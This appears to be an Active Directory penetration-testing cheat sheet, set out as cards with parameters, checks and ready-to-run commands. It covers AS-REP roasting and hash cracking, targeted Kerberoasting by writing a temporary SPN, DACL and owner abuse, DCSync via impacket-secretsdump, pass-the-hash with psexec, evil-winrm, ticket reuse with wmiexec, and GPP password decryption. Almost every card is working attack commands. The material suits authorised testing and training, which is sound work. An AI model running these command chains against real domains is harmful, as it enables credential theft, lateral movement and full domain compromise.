Requires: Exact domain/DC and candidate user; Kerberos connectivity and correct time/DNS. No password is required for the selected account, but a recovered password is still needed for authentication.

Kali · Bash

Set parameters

DOMAIN='DOMAIN'
USER='USER'
DC_IP='DC_IP'

Check applicability

impacket-GetNPUsers "$DOMAIN/" -dc-ip "$DC_IP" -usersfile users.txt -no-pass -format hashcat

Proceed when: The DC returns a $krb5asrep$ artifact for USER. KDC_ERR_PREAUTH_REQUIRED rules that account out; unknown principal, clock/DNS or connectivity errors are different failures.

Execute the chosen method

impacket-GetNPUsers "$DOMAIN/$USER" -dc-ip "$DC_IP" -no-pass -request -format hashcat -outputfile asrep.txt
hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt

Verify / if it fails: hashcat --show -m 18200 asrep.txt must display a recovered candidate, then validate it against one relevant service. The AS-REP artifact alone is not a credential or access.

Full procedure and alternatives → · Upstream reference

Requires: Effective validatedSPN/generic write right on the exact user; current domain identity; unique temporary SPN; PowerView; ability to remove only the value you add; then normal Kerberoast prerequisites.

Domain-connected Windows host, then Kali · PowerShell / Bash

Set Kali parameters

DOMAIN='DOMAIN'
ACTOR='ACTOR'
DC_IP='DC_IP'
TARGET_USER='USER'

Set target parameters

. .\PowerView.ps1
$TargetUser = 'USER'
$TempSPN = 'oscp/manual'

Check applicability

Get-DomainUser -Identity $TargetUser -Properties serviceprincipalname
Get-DomainObjectAcl -Identity $TargetUser -ResolveGUIDs | Format-Table SecurityIdentifier,ActiveDirectoryRights,ObjectAceType,AceType -AutoSize

Proceed when: The actor/user group has effective SPN write or GenericWrite/GenericAll on TargetUser and TempSPN is absent. Resolve trustee SIDs and denies; the BloodHound edge is a candidate until validated.

Execute the chosen method

Set-DomainObject -Identity $TargetUser -Set @{serviceprincipalname=$TempSPN}
Get-DomainUser -Identity $TargetUser -Properties serviceprincipalname

On Kali, after validating the temporary SPN (password prompted):

impacket-GetUserSPNs -dc-ip "$DC_IP" -request-user "$TARGET_USER" -outputfile targeted-kerberoast.txt "$DOMAIN/$ACTOR"

Verify / if it fails: A ticket hash confirms requestability; only a recovered/validated password is a new identity. Remove precisely TempSPN with Set-DomainObject -Identity $TargetUser -Clear serviceprincipalname only if the attribute had no original values; otherwise restore the captured original multi-value set.

Full procedure and alternatives → · Upstream reference

Requires: Effective WriteOwner/WriteDacl on the exact object; current identity; a chosen minimal downstream right; original owner/DACL captured; PowerView. Ownership alone does not grant every write.

Domain-connected Windows host · Windows PowerShell 5.1

Set parameters

. .\PowerView.ps1
$Target = 'TARGET_OBJECT'
$Actor = 'ACTOR'

Check applicability

$TargetEntry = (Get-DomainObject -Identity $Target).GetDirectoryEntry()
$OriginalOwner = $TargetEntry.ObjectSecurity.Owner
$OriginalOwner
Get-DomainObjectAcl -Identity $Target -ResolveGUIDs | Format-Table SecurityIdentifier,ActiveDirectoryRights,ObjectAceType,AceType -AutoSize

Proceed when: The current actor can change owner or DACL and the selected receiving technique has a concrete useful result. Capture the exact original descriptor/owner before changing it.

Execute the chosen method

Set-DomainObjectOwner -Identity $Target -OwnerIdentity $Actor
Add-DomainObjectAcl -TargetIdentity $Target -PrincipalIdentity $Actor -Rights ResetPassword
Get-DomainObjectAcl -Identity $Target -ResolveGUIDs | Format-Table SecurityIdentifier,ActiveDirectoryRights,ObjectAceType,AceType -AutoSize

Verify / if it fails: The new owner/ACE must appear and the password-reset card must succeed separately. Remove the exact ACE you added and restore the captured owner after the path is complete; broad GenericAll is unnecessary when a specific right is sufficient.

Full procedure and alternatives → · Upstream reference

Requires: Get-Changes plus Get-Changes-All (and filtered-set where required) on the domain naming context; domain/DC reachability; valid credential or hash; exact target account.

Kali · Bash · password prompted unless hash supplied

Set parameters

DOMAIN='DOMAIN'
USER='USER'
DC_IP='DC_IP'
TARGET_USER='TARGET_USER'

Check applicability

# Validate the domain-root ACEs with PowerView/BloodHound before this network check.
nc -vz "$DC_IP" 445
nc -vz "$DC_IP" 135

Proceed when: Both replication extended rights apply to USER (directly or through effective group membership) on the domain root. Domain Admin membership is sufficient but not required; a graph edge without ACL validation is not enough.

Execute the chosen method

impacket-secretsdump -dc-ip "$DC_IP" -just-dc-user "$TARGET_USER" "$DOMAIN/$USER@$DC_IP"

Verify / if it fails: A domain SID/RID plus LM:NT record for exactly TARGET_USER confirms replication. Store it as sensitive evidence and classify the NT hash before reuse. Access denied usually means missing effective replication rights or wrong domain/identity.

Full procedure and alternatives → · Upstream reference

Requires: TCP 445; writable ADMIN$; SCM access; correct local/domain identity; password or NT hash; remote UAC understood. Creates a temporary service and usually executes as SYSTEM.

Kali · Bash

Set parameters

DOMAIN='DOMAIN'
USER='USER'
TARGET='TARGET'
HASH='HASH'

Check applicability

impacket-smbclient -hashes ":$HASH" "$DOMAIN/$USER@$TARGET"
# At SMB prompt: shares; use ADMIN$; ls; exit

Proceed when: Authentication succeeds and ADMIN$ plus service-control access are available. Share listing alone does not prove service creation; local-account filtering can remove the needed admin token.

Execute the chosen method

impacket-psexec -hashes ":$HASH" "$DOMAIN/$USER@$TARGET"

Verify / if it fails: Run whoami/hostname/ipconfig. SYSTEM is expected for the created service. Check that the temporary service/binary is removed on exit; interrupted sessions may need manual cleanup. Choose WMI/WinRM when service creation is blocked or too disruptive.

Full procedure and alternatives → · Upstream reference

Requires: WinRM listener; reachable port; password or NT hash; correct domain/local context; endpoint authorization. Valid credentials alone do not imply WinRM access.

Kali · Bash

Set parameters

TARGET='TARGET'
DOMAIN='DOMAIN'
USER='USER'
PASSWORD='PASSWORD'

Check applicability

nc -vz "$TARGET" 5985
curl -i "http://$TARGET:5985/wsman"

Proceed when: The WSMan endpoint responds and the identity is authorized. HTTP 405/401 can confirm the endpoint but not the credential or authorization.

Execute the chosen method

evil-winrm -i "$TARGET" -u "$DOMAIN\$USER" -p "$PASSWORD"

Verify / if it fails: Run whoami /all, hostname and ipconfig. The resulting token may be filtered or non-admin; verify access rather than inferring privilege from group names. For a hash, use evil-winrm -H only with an actual NT hash.

Full procedure and alternatives → · Upstream reference

Requires: Valid unexpired ccache; synchronized time; resolvable FQDN/SPN; service ticket or renewable TGT; target authorization; Kerberos route to DC/service. IP-only targeting often breaks SPN matching.

Kali · Bash

Set parameters

CCACHE='/path/to/ticket.ccache'
DOMAIN='domain.local'
USER='USER'
TARGET_FQDN='host.domain.local'

Check applicability

export KRB5CCNAME="$CCACHE"
klist
getent hosts "$TARGET_FQDN"
date -u

Proceed when: klist shows a valid identity and usable TGT or service ticket for the target/service; DNS and time are correct. A kirbi file must be converted before this ccache workflow.

Execute the chosen method

export KRB5CCNAME="$CCACHE"
impacket-wmiexec -k -no-pass "$DOMAIN/$USER@$TARGET_FQDN"

Verify / if it fails: Run whoami/hostname. Authentication success does not imply SYSTEM; authorization controls the remote action. KDC principal errors indicate SPN/DNS/realm mismatch, while clock skew and expired tickets need separate repair.

Full procedure and alternatives → · Upstream reference

Requires: Authenticated or guest-readable SYSVOL; exact XML entry and username/context; gpp-decrypt or equivalent AES routine; relevant destination for validation. The key is public, but the recovered password can be stale.

Kali · Bash

Set parameters

DC='DC_FQDN_OR_IP'
DOMAIN='DOMAIN'
USER='USER'
CPASSWORD='CPASSWORD'

Check applicability

smbclient "//$DC/SYSVOL" -U "$DOMAIN/$USER" -c 'recurse;ls'
# Retrieve the specific XML, then:
grep -RniE 'cpassword|userName|accountName' .

Proceed when: The XML contains cpassword plus an attributable account name/context. File timestamps and policy path help assess whether it may still be active.

Execute the chosen method

gpp-decrypt "$CPASSWORD"

Verify / if it fails: Treat the output as a candidate password; validate once against a relevant service and record the resulting identity/access. Failure can mean malformed base64, a copied value issue, or tool mismatch; successful decryption still does not prove the credential is current.

Full procedure and alternatives → · Upstream reference